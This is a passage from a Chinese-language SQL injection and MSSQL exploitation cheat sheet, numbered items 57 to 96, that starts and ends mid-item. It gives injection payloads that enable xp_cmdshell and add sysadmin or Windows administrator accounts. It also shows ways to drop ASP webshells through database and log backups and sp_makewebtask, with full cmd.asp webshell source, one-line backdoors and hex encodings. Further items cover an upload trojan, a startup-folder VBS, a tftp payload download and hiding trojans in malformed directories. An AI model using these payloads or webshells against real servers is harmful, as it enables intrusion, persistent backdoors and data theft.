&#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;CommonFilesDir&#39;　返回制定键的值 <br/>xp_regwrite 根键,子键, 值名, 值类型, 值 <br/>值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 <br/>;exec xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestValueName&#39;,&#39;reg_sz&#39;,&#39;hello&#39;　写入注册表 <br/>xp_regdel&#101;tevalue 根键,子键,值名 <br/>exec xp_regdel&#101;tevalue &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestValueName&#39;　 删除某个值 <br/>xp_regdel&#101;tekey &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Tes<br/>tkey&#39;　 删除键,包括该键下所有值 <br/>57、mssql的backup创建webshell <br/>use model <br/>cr&#101;ate table cmd(str image); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Dim oScript %&gt;&#39;); <br/>backup database model to disk=&#39;c:\l.asp&#39;;<br/>58、简洁的webshell<br/>use model <br/>cr&#101;ate table cmd(str image); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;%=server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request(&#34;c&#34;)).stdout.readall%&gt;&#39;); <br/>backup database model to disk=&#39;g:\wwwtest\l.asp&#39;;<br/>请求的时候，像这样子用： <br/><a href="http://ip/l.asp?c=dir" target="_blank" rel="external"><a href="http://ip/l.asp?c=dir" target="_blank" rel="external">http://ip/l.asp?c=dir</a></a> <br/>59、利用其它存储过程执行命令<br/>; DECLARE @shell INT EXEC SP_OACr&#101;ate &#39;wscript.shell&#39;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&#39;run&#39;,null, &#39;C：\WINNT\system32\cmd.exe /c net user cntest chinatest /add&#39;;--<br/>60、利用内置存储过程 xp_regread(读取注册表键值，权限public)： <br/>;Cr&#101;ate TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=&#39;HKEY_LOCAL_MACHINE&#39;, @key=&#39;SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\&#39;, @value_name=&#39;/&#39;, <a href="http://www.enjoyhack.com/mailto:values=@test">values=@test</a> OUTPUT ins&#101;rt into paths(path) values(@test);--<br/>利用爆字段将数据库的值读出来<br/>and 0&lt;&gt;(sel&#101;ct top 1 paths from newtable)<br/>61、利用FSO直接写入ASP木马（提示必须拥用SYSADMIN权限才可使用FSO和FSO开启的前提下）(作用：E：\WWW下创建一个test.asp并写入On Error Resume next语句)<br/>;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacr&#101;ate%20&#39;scripting.filesystemobject&#39;,<br/><a href="http://www.enjoyhack.com/mailto:%20@o%20out%20exec%20sp_oamethod%20@o,%20">%20@o%20out%20exec%20sp_oamethod%20@o,%20&#39;cr&#101;atetextfile&#39;,%20@f%20out,%20&#39;e</a>：\www\test.asp&#39;,<br/><a href="http://www.enjoyhack.com/mailto:1%20exec%20@ret%20=%20sp_oamethod%20@f,%20">1%20exec%20@ret%20=%20sp_oamethod%20@f,%20&#39;writeline&#39;,%20NULL,%20&#39;On</a> Error Resume Next&#39;;--<br/>62、猜字段中记录长度<br/>and (sel&#101;ct top 1 len(字段名) from 数据库名)&gt;0<br/>63、(1)猜字段的ascii值（access)<br/>and (sel&#101;ct top 1 asc(mid(字段名,1,1)) from 数据库名)&gt;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;(2)猜字段的ascii值（mssql)<br/>and (sel&#101;ct top 1 unicode(substring(字段名,1,1)) from 数据库名)&gt;0<br/>64、检索系统用户<br/>Sel&#101;ct * from sysxlogins<br/>65、SQL7中的建表命令<br/>cr&#101;ate table [dbo].[temp] ([id] [nvarchar](255) ,[num1] [nvarchar](255) ,[num2] [nvarchar](255) ,[num3] [nvarchar](255))<br/>66、检索数据库的命令<br/>sel&#101;ct * from [dbo].[temp]<br/>67、差异备份<br/>(1)declare @a sysname,@s varchar(4000) sel&#101;ct @a=db_name(),@s=0x737335323635 backup database @a to <a href="http://www.enjoyhack.com/mailto:disk=@s">disk=@s</a><br/>(2)Dro&#112; table [heige];cr&#101;ate table [dbo].[heige] ([cmd] [image])<br/>(3)ins&#101;rt into heige(cmd) values(0x3C25657865637574652872657175657374282276616C7565222929253E) //values(&#39;&lt;%execute(request(&#34;value&#34;))%&gt;&#39;) <br/>(4)declare @a sysname,@s varchar(4000) sel&#101;ct @a=db_name(),@s=0x643A5C6B79736A7A7765625C6B79736A7A7765625C72692E617370 backup database @a to <a href="http://www.enjoyhack.com/mailto:disk=@s">disk=@s</a> WITH DIFFERENTIAL,FORMAT&nbsp;&nbsp; [url=]//@s=&#39;d:\kysjzweb\kysjzweb\ri.asp&#39;[/url]<br/>(5)Dro&#112; table [heige]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>68、如何删除 cmdshell 存储过程<br/>您必须有系统管理员用户权除去 cmdshell 存储过程。 要删除存储过程, <br/>在命令提示符处键入以下命令： <br/>exec sp_dro&#112;extendedproc &#39;xp_cmdshell&#39;<br/>要重新添加 cmdshell 存储过程, 在命令提示符处键入以下命令： <br/>exec sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;xplog70.dll&#39;<br/>69、添加SQL帐户并加入管理组<br/>exec master..sp_addlogin UserName,Password<br/>exec master..sp_addsrvrolemember UserName,sysadmin<br/>70、查看WEB网站安装目录命令：<br/>cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root &gt;c:\test1.txt （将2换成1、3、4、5试试）<br/>type c:\test1.txt<br/>del c:\test1.txt<br/>71、查找某个文件<br/>c:\&gt;dir 文件名 /s 查找c盘下的此文件<br/>72、建立/删除虚拟目录<br/>建立虚拟目录win,指向c:\winnt\system32：exec master.dbo.xp_cmdshell &#39;cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w &#34;l&#34; -v &#34;win&#34;,&#34;c:\winnt\system32&#34;&#39; <br/>让win目录具有解析asp脚本权限：exec master.dbo.xp_cmdshell &#39;cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accesxxxecute &#34;true&#34; –s:&#39; <br/>删除虚拟目录win：exec master.dbo.xp_cmdshell &#39;cscript C:\inetpub\AdminScripts\adsutil.vbs del&#101;te w3svc/1/root/win/&#39;<br/>73、win2000下将WEB用户提升为系统用户权限，需要有管理员的权限才能执行<br/>c:\&gt;cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps &#34;C:\WINNT\system32\idq.dll&#34; &#34;C:\WINNT\system32\inetsrv\httpext.dll&#34; &#34;C:\WINNT\system32\inetsrv\httpodbc.dll&#34; &#34;C:\WINNT\system32\inetsrv\ssinc.dll&#34; &#34;C:\WINNT\system32\msw3prt.dll&#34; &#34;C:\winnt\system32\inetsrv\asp.dll&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2000系统<br/>或者cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps &#34;C:\windows\system32\idq.dll&#34; &#34;C:\windows\system32\inetsrv\httpext.dll&#34; &#34;C:\windows\system32\inetsrv\httpodbc.dll&#34; &#34;C:\windows\system32\inetsrv\ssinc.dll&#34; &#34;C:\windows\system32\msw3prt.dll&#34; &#34;C:\windows\system32\inetsrv\asp.dll&#34;&nbsp;&nbsp; 2003系统<br/>查看是否成功：<br/>c:\&gt;cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps<br/>74、如何隐藏ASP木马：<br/>建立非标准目录：mkdir images..\<br/>拷贝ASP木马至目录：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp<br/>通过web访问ASP木马：<a href="http://ip/images../news.asp?action=login" target="_blank" rel="external">http://ip/images../news.asp?action=login</a><br/>如何删除非标准目录：rmdir images..\ /s<br/>75、sql2005开启xp_cmdshell<br/>MSSQL SERVER 2005默认把xpcmdshell 给ON了<br/>如果要启用的话就必须把他加到高级用户模式<br/>可以直接在注入点那里直接注入<br/>id=5;EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE;--<br/>然后;dbcc addextendedproc(&#34;xp_cmdshell&#34;,&#34;xplog70.dll&#34;);--<br/>或者<br/>sp_addextendedproc xp_cmdshell,@dllname=&#39;xplog70.dll&#39;<br/>来恢复cmdshell。<br/>分析器<br/>EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE;--<br/>然后;dbcc addextendedproc(&#34;xp_cmdshell&#34;,&#34;xplog70.dll&#34;)<br/>76、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令<br/>cr&#101;ate TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)<br/>DECLARE @shell INT<br/>DECLARE @fso INT<br/>DECLARE @file INT<br/>DECLARE @isEnd BIT<br/>DECLARE @out VARCHAR(400)<br/>EXEC sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output<br/>EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c dir c:/&gt;c:/temp.txt&#39;,&#39;0&#39;,&#39;true&#39;<br/>EXEC sp_oacr&#101;ate &#39;scripting.filesystemobject&#39;,@fso output<br/>EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:/temp.txt&#39;<br/>WHILE @shell&gt;0<br/>BEGIN<br/>EXEC sp_oamethod @file,&#39;Readline&#39;,@out out<br/>ins&#101;rt INTO MYTMP(info) VALUES (@out)<br/>EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out<br/>IF @isEnd=1 BREAK<br/>ELSE CONTINUE<br/>END<br/>dro&#112; TABLE MYTMP<br/>77、xp_cmdshell新的恢复办法<br/>删除<br/>dro&#112; procedure sp_addextendedproc<br/>dro&#112; procedure sp_oacr&#101;ate<br/>exec sp_dro&#112;extendedproc &#39;xp_cmdshell&#39; <br/>恢复<br/>dbcc addextendedproc (&#34;sp_oacr&#101;ate&#34;,&#34;odsole70.dll&#34;)<br/>dbcc addextendedproc (&#34;xp_cmdshell&#34;,&#34;xplog70.dll&#34;)<br/>这样可以直接恢复，不用去管sp_addextendedproc是不是存在<br/>78、sp_makewebtask的用法<br/>EXECUTE sp_makewebtask @outputfile=&#39;C:\WEB\yfdmm.asp&#39;,<br/>@query=&#39;Sel&#101;ct 你的字段 FROM 你建的临时表&#39;<br/>79、用存储过程写文件<br/>写vbs文件到启动组里面：<br/>declare @o int, @f int, @t int, @ret int ,@a int<br/>exec sp_oacr&#101;ate &#39;scripting.filesystemobject&#39;, @o out<br/>exec sp_oamethod @o, &#39;cr&#101;atetextfile&#39;, @f out, <br/>&#39;c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动<a target="_blank" href="http://www.enjoyhack.com/file://\\a.vbs" rel="external">\\a.vbs&#39;</a>, 1<br/>exec @ret = sp_oamethod @f, &#39;writeline&#39;, null,<br/>&#39;set wshshell=cr&#101;ateobject(&#34;wscript.shell&#34;)&#39;<br/>exec @ret = sp_oamethod @f, &#39;writeline&#39;, null,<br/>&#39;a=wshshell.run (&#34;cmd.exe /c net user lintao lintao520 /add&#34;,0)&#39;<br/>exec @ret = sp_oamethod @f, &#39;writeline&#39;, null,<br/>&#39;b=wshshell.run (&#34;cmd.exe /c net localgroup administrators lintao /add&#34;,0)&#39;<br/>80、tftp下载的命令<br/>tftp -i ip get 下载文件名 保存文件名 说明：ip是提供下载的服务器IP<br/>81、显示注册表中的一个子键下的所有键值<br/>exec xp_regenumvalues &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\run&#39;<br/>82、用其它存储过程写文件<br/>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\winnt\system32\cmd.exe /c echo 12345678&gt;c:\123.txt&#39; 在c盘上写123.txt，内容是：12345678<br/>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\windows\system32\cmd.exe /c tasklist&gt;c:\123.txt&#39;&nbsp;&nbsp;&nbsp;&nbsp; 列进程写进123.txt windowsxp/2003系统<br/>83、将文本文件导入表<br/>cr&#101;ate table foo(line varchar(8000))<br/>bulk ins&#101;rt foo from &#39;c:\123.txt&#39;<br/>84、log备份<br/>alt&#101;r database XXXX set RECOVERY FULL<br/>cr&#101;ate table cmd (a image)<br/>backup log XXXX to disk = &#39;c:\Sammy&#39; with init<br/>ins&#101;rt into cmd (a) values (&#39;&lt;%Execute(request(&#34;value&#34;))%&gt;&#39;)<br/>backup log XXXX to disk = &#39;c:\xxx\2.asp&#39;<br/>85、sp_makewebtask直接写一句话<br/>;exec sp_makewebtask @outputfile=&#39;D:\Homepage\sohostudio\img\23456.asp&#39;,@query=&#39;sel&#101;ct &#39;&#39;&lt;%25execute (request(&#34;value&#34;))%25&gt;&#39;&#39; &#39;<br/>86、读WEB位置<br/>;cr&#101;ate table [dbo].[cxd] ([cxd][char](255));--<br/>;DECLARE @result varchar(255) EXEC master.dbo.xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots &#39;, &#39;/&#39;, @result output ins&#101;rt into cxd(cxd) values(@result);--<br/>87、另一种LOG备份<br/>;alt&#101;r database XXXX set RECOVERY FULL--<br/>;cr&#101;ate table [dbo].[shit_tmp] ([cmd] [image])--<br/>;declare @a sysname,@s nvarchar(4000) sel&#101;ct @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--<br/>;ins&#101;rt into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282276616C7565222929253E)--&nbsp;&nbsp;&nbsp;&nbsp; //values(&#39;&lt;%execute(request(&#34;value&#34;))%&gt;&#39;) <br/>;declare @a sysname,@s nvarchar(4000) sel&#101;ct @a=db_name(),@s=0x65003A005C0061006C006C005F0068006F006D0065005C00790065006C006C006F0077005F0068006F006D0065005C007200690035002E00610073007000 backup log @a to <a href="http://www.enjoyhack.com/mailto:disk=@s">disk=@s</a> with init,no_truncate--&nbsp;&nbsp;&nbsp;&nbsp; [url=]//@s=e:\all_home\yellow_home\ri5.asp[/url]<br/>;Dro&#112; table [shit_tmp]--<br/>88、一句话马的几种写法<br/>a).&lt;%%25Execute(request(&#34;a&#34;))%%25&gt;<br/>b).&lt;%Execute(request(&#34;a&#34;))%&gt;<br/>c).%&gt;&lt;%execute request(&#34;a&#34;)%&gt;&lt;%<br/>d).&lt;script language=VBScript runat=server&gt;execute request(&#34;a&#34;)&lt;/script&gt;<br/>e).&lt;%25Execute(request(&#34;a&#34;))%25&gt;<br/>89、另两种差异备份<br/>(1)<br/>;declare @a sysname,@s nvarchar(4000) sel&#101;ct @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to <a href="http://www.enjoyhack.com/mailto:disk=@s">disk=@s</a>--<br/>;cr&#101;ate table [dbo].[xiaolu] ([cmd] [image])--<br/>;ins&#101;rt into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)--<br/>;declare @a sysname,@s nvarchar(4000) sel&#101;ct @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to <a href="http://www.enjoyhack.com/mailto:disk=@s">disk=@s</a> WITH DIFFERENTIAL,FORMAT--<br/>(2)<br/>;backup database 库名 to disk = &#39;c:\ddd.bak&#39;--<br/>;cr&#101;ate table [dbo].[dtest] ([cmd] [image])--<br/>;ins&#101;rt into dtest(cmd) values (0x3C25657865637574652872657175657374282261222929253E)--<br/>;backup database 库名 to disk=&#39;目标位置\d.asp&#39; WITH DIFFERENTIAL,FORMAT--<br/>90、不需要FSO的WEBSHELL<br/>&lt;%=server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request(&#34;c&#34;)).stdout.readall%&gt;<br/>十六进制为： 0x3C253D7365727665722E6372656174656F626A6563742822777363726970742E7368656C6C22292E657865632822636D642E657865202F63202226726571756573742822632229292E7374646F75742E72656164616C6C253E<br/>91、建一个cmd.asp的语句：<br/>use model <br/>cr&#101;ate table cmd (str image); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Dim oScript %&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Dim oScriptNet%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Dim oFileSys, oFile%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Dim szCMD, szTempFile%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Set oScript = Server.Cr&#101;ateObject(&#34;WSCRIPT.SHELL&#34;)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Set oScriptNet = Server.Cr&#101;ateObject(&#34;WSCRIPT.NETWORK&#34;)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Set oFileSys = Server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% szCMD = Request.Form(&#34;.CMD&#34;)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% If (szCMD &lt;&gt; &#34;&#34;) Then%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% szTempFile = &#34;C:\&#34; oFileSys.GetTempName()%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Call oScript.Run (&#34;cmd.exe /c &#34; szCMD &amp; &#34; &gt; &#34; &amp; szTempFile, 0, True)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% End If %&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;HTML&gt;&lt;BODY&gt;&lt;FORM action=&#34;&lt;%= Request.ServerVariables(&#34;URL&#34;) %&gt;&#34; method=&#34;POST&#34;&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;input type=text name=&#34;.CMD&#34; size=45 value=&#34;&lt;%= szCMD %&gt;&#34;&gt;&lt;input type=submit value=&#34;Run&#34;&gt;&lt;/FORM&gt;&lt;PRE&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% If (IsObject(oFile)) Then%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% On Error Resume Next%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Response.Write Server.HTMLEncode(oFile.ReadAll)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% oFile.Close%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Call oFileSys.Del&#101;teFile(szTempFile, True)%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;% End If%&gt;&#39;); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;/BODY&gt;&lt;/HTML&gt;&#39;);<br/>92、cmd.asp代码：<br/>&lt;% Dim oScript %&gt; <br/>&lt;% Dim oScriptNet%&gt; <br/>&lt;% Dim oFileSys, oFile%&gt; <br/>&lt;% Dim szCMD, szTempFile%&gt; <br/>&lt;% Set oScript = Server.Cr&#101;ateObject(&#34;WSCRIPT.SHELL&#34;)%&gt; <br/>&lt;% Set oScriptNet = Server.Cr&#101;ateObject(&#34;WSCRIPT.NETWORK&#34;)%&gt; <br/>&lt;% Set oFileSys = Server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)%&gt; <br/>&lt;% szCMD = Request.Form(&#34;.CMD&#34;)%&gt; <br/>&lt;% If (szCMD &lt;&gt; &#34;&#34;) Then%&gt; <br/>&lt;% szTempFile = &#34;C:\&#34; oFileSys.GetTempName()%&gt; <br/>&lt;% Call oScript.Run (&#34;cmd.exe /c &#34; szCMD &amp; &#34; &gt; &#34; &amp; szTempFile, 0, True)%&gt; <br/>&lt;% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%&gt; <br/>&lt;% End If %&gt; <br/>&lt;HTML&gt;&lt;BODY&gt;&lt;FORM action=&#34;&lt;%= Request.ServerVariables(&#34;URL&#34;) %&gt;&#34; method=&#34;POST&#34;&gt; <br/>&lt;input type=text name=&#34;.CMD&#34; size=45 value=&#34;&lt;%= szCMD %&gt;&#34;&gt;&lt;input type=submit value=&#34;Run&#34;&gt;&lt;/FORM&gt;&lt;PRE&gt; <br/>&lt;% If (IsObject(oFile)) Then%&gt; <br/>&lt;% On Error Resume Next%&gt; <br/>&lt;% Response.Write Server.HTMLEncode(oFile.ReadAll)%&gt; <br/>&lt;% oFile.Close%&gt; <br/>&lt;% Call oFileSys.Del&#101;teFile(szTempFile, True)%&gt; <br/>&lt;% End If%&gt; <br/>&lt;/BODY&gt;&lt;/HTML&gt;<br/>93、cmd.asp的一些变形<br/>(1)<br/>&lt;form method=&#34;post&#34;&gt;<br/>&lt;input type=text name=&#34;cmd&#34; size=60&gt;<br/>&lt;input type=submit value=&#34;run&#34;&gt;&lt;/form&gt;<br/>&lt;textarea readonly cols=80 rows=20&gt;<br/>&lt;%response.write server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request.form(&#34;cmd&#34;)).stdout.readall%&gt;<br/>&lt;/textarea&gt;<br/>(2)<br/>&lt;textarea readonly cols=80 rows=20&gt;<br/>&lt;%response.write server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request(&#34;cmd&#34;)).stdout.readall%&gt;<br/>(3)<br/>&lt;%response.write server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request(&#34;cmd&#34;)).stdout.readall%&gt;<br/>(4)<br/>&lt;%=server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request(&#34;c&#34;)).stdout.readall%&gt;<br/>(5)wscript.shell被改名怎么办？<br/>&lt;ObjEct runat=sErvEr iD=kk scOpE=pagE classiD=&#34;clsiD:72C24DD5-D70A-438B-8A42-98424B88AFB8&#34;&gt;&lt;/ObjEct&gt;<br/>&lt;%=kk.exec(&#34;cmd /c &#34;+request(&#34;cmd&#34;)).stdout.readall%&gt;<br/>94、一个上传asp程序<br/>&lt;% dim objFSO %&gt;<br/>&lt;% dim fdata %&gt;<br/>&lt;% dim objCountFile %&gt;<br/>&lt;% on error resume next %&gt;<br/>&lt;% Set objFSO = Server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;) %&gt;<br/>&lt;% if Trim(request(&#34;syfdpath&#34;))&lt;&gt;&#34;&#34; then %&gt;<br/>&lt;% fdata = request(&#34;cyfddata&#34;) %&gt;<br/>&lt;% Set objCountFile=objFSO.Cr&#101;ateTextFile(request(&#34;syfdpath&#34;),True) %&gt;<br/>&lt;% objCountFile.Write fdata %&gt;<br/>&lt;% if err =0 then %&gt;<br/>&lt;% response.write &#34;&lt;font color=red&gt;save Success!&lt;/font&gt;&#34; %&gt;<br/>&lt;% else %&gt;<br/>&lt;% response.write &#34;&lt;font color=red&gt;Save UnSuccess!&lt;/font&gt;&#34; %&gt;<br/>&lt;% end if %&gt;<br/>&lt;% err.clear %&gt;<br/>&lt;% end if %&gt;<br/>&lt;% objCountFile.Close %&gt;<br/>&lt;% Set objCountFile=Nothing %&gt;<br/>&lt;% Set objFSO = Nothing %&gt;<br/>&lt;% Response.write &#34;&lt;form action=&#39;&#39; method=post&gt;&#34; %&gt;<br/>&lt;% Response.write &#34;保存文件的&lt;font color=red&gt;绝对路径(包括文件名:如D:\web\x.asp):&lt;/font&gt;&#34; %&gt;<br/>&lt;% Response.Write &#34;&lt;input type=text name=syfdpath width=32 size=50&gt;&#34; %&gt;<br/>&lt;% Response.Write &#34;&lt;br&gt;&#34; %&gt;<br/>&lt;% Response.write &#34;本文件绝对路径&#34; %&gt;<br/>&lt;% =server.mappath(Request.ServerVariables(&#34;SCRIPT_NAME&#34;)) %&gt;<br/>&lt;% Response.write &#34;&lt;br&gt;&#34; %&gt;<br/>&lt;% Response.write &#34;输入马的内容:&#34; %&gt;<br/>&lt;% Response.write &#34;&lt;textarea name=cyfddata cols=80 rows=10 width=32&gt;&lt;/textarea&gt;&#34; %&gt;<br/>&lt;% Response.write &#34;&lt;input type=submit value=保存&gt;&#34; %&gt;<br/>&lt;% Response.write &#34;&lt;/form&gt;&#34; %&gt;<br/>十六进制为:<br/>0x3C252064696D206F626A46534F20253E<br/>0x3C252064696D20666461746120253E<br/>0x3C252064696D206F626A436F756E7446696C6520253E<br/>0x3C25206F6E206572726F7220726573756D65206E65787420253E<br/>0x3C2520536574206F626A46534F203D205365727665722E4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A656374222920253E<br/>0x3C25206966205472696D2872657175657374282273796664706174682229293C3E2222207468656E20253E<br/>0x3C25206664617461203D207265717565737428226379666464617461222920253E<br/>0x3C2520536574206F626A436F756E7446696C653D6F626A46534F2E4372656174655465787446696C6528726571756573742822737966647061746822292C547275652920253E<br/>0x3C25206F626A436F756E7446696C652E577269746520666461746120253E<br/>0x3C2520696620657272203D30207468656E20253E 743E2220253E<br/>0x3C2520656C736520253E<br/>0x3C2520726573706F6E73652E777269746520223C666F6E7420636F6C6F723D7265643E5361766520556E53756363657373213C2F666F6E743E2220253E<br/>0x3C2520656E6420696620253E<br/>0x3C25206572722E636C65617220253E<br/>0x3C2520656E6420696620253E<br/>0x3C25206F626A436F756E7446696C652E436C6F736520253E<br/>0x3C2520536574206F626A436F756E7446696C653D4E6F7468696E6720253E<br/>0x3C2520536574206F626A46534F203D204E6F7468696E6720253E<br/>0x3C2520526573706F6E73652E777269746520223C666F726D20616374696F6E3D2727206D6574686F643D706F73743E2220253E<br/>0x3C2520526573706F6E73652E777269746520224FDD5B5865874EF676843C666F6E7420636F6C6F723D7265643E7EDD5BF98DEF5F8428530562EC65874EF6540D3A5982443A5C7765625C782E617370293A3C2F666F6E743E2220253E<br/>0x3C2520526573706F6E73652E577269746520223C696E70757420747970653D74657874206E616D653D73796664706174682077696474683D33322073697A653D35303E2220253E<br/>0x3C2520526573706F6E73652E577269746520223C62723E2220253E<br/>0x3C2520526573706F6E73652E77726974652022672C65874EF67EDD5BF98DEF5F842220253E<br/>0x3C25203D7365727665722E6D61707061746828526571756573742E5365727665725661726961626C657328225343524950545F4E414D4522292920253E<br/>0x3C2520526573706F6E73652E777269746520223C62723E2220253E<br/>0x3C2520526573706F6E73652E777269746520228F9351659A6C768451855BB93A2220253E<br/>0x3C2520526573706F6E73652E777269746520223C7465787461726561206E616D653D637966646461746120636F6C733D383020726F77733D31302077696474683D33323E3C2F74657874617265613E2220253E<br/>0x3C2520526573706F6E73652E777269746520223C696E70757420747970653D7375626D69742076616C75653D4FDD5B583E2220253E<br/>0x3C2520526573706F6E73652E777269746520223C2F666F726D3E2220253E <br/>95、mssql中的存储过程<br/>(1)xp_regenumvalues 注册表根键, 子键 <br/>;exec xp_regenumvalues &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;　　以多个记录集方式返回所有键值 <br/>(2)xp_regread 根键,子键,键值名 <br/>;exec xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;CommonFilesDir&#39;　返回制定键的值 <br/>(3)xp_regwrite 根键,子键, 值名, 值类型, 值 <br/>值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 <br/>;exec xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestValueName&#39;,&#39;reg_sz&#39;,&#39;hello&#39;　写入注册表 <br/>(4)xp_regdel&#101;tevalue 根键,子键,值名 <br/>exec xp_regdel&#101;tevalue &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestValueName&#39;　 删除某个值 <br/>xp_regdel&#101;tekey &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey&#39;　 删除键,包括该键下所有值<br/>96、磁盘目录读取代码<br/>(1) ;dro&#112; table [jm_tmp];cr&#101;ate table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表<br/>(2) ;del&#101;te [jm_tmp];Ins&#101;rt [jm_tmp] exec master..xp_dirtree &#39;C:\&#39;,1,1-- 将C盘的文件夹及文件插入到表中<br/>(3) and 1=(sel&#101;ct top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(Sel&#101;ct Top 1 [subdirectory],[file] From [jm_tmp] o&#114;DER BY [file],[subdirectory]) T o&#114;DER BY 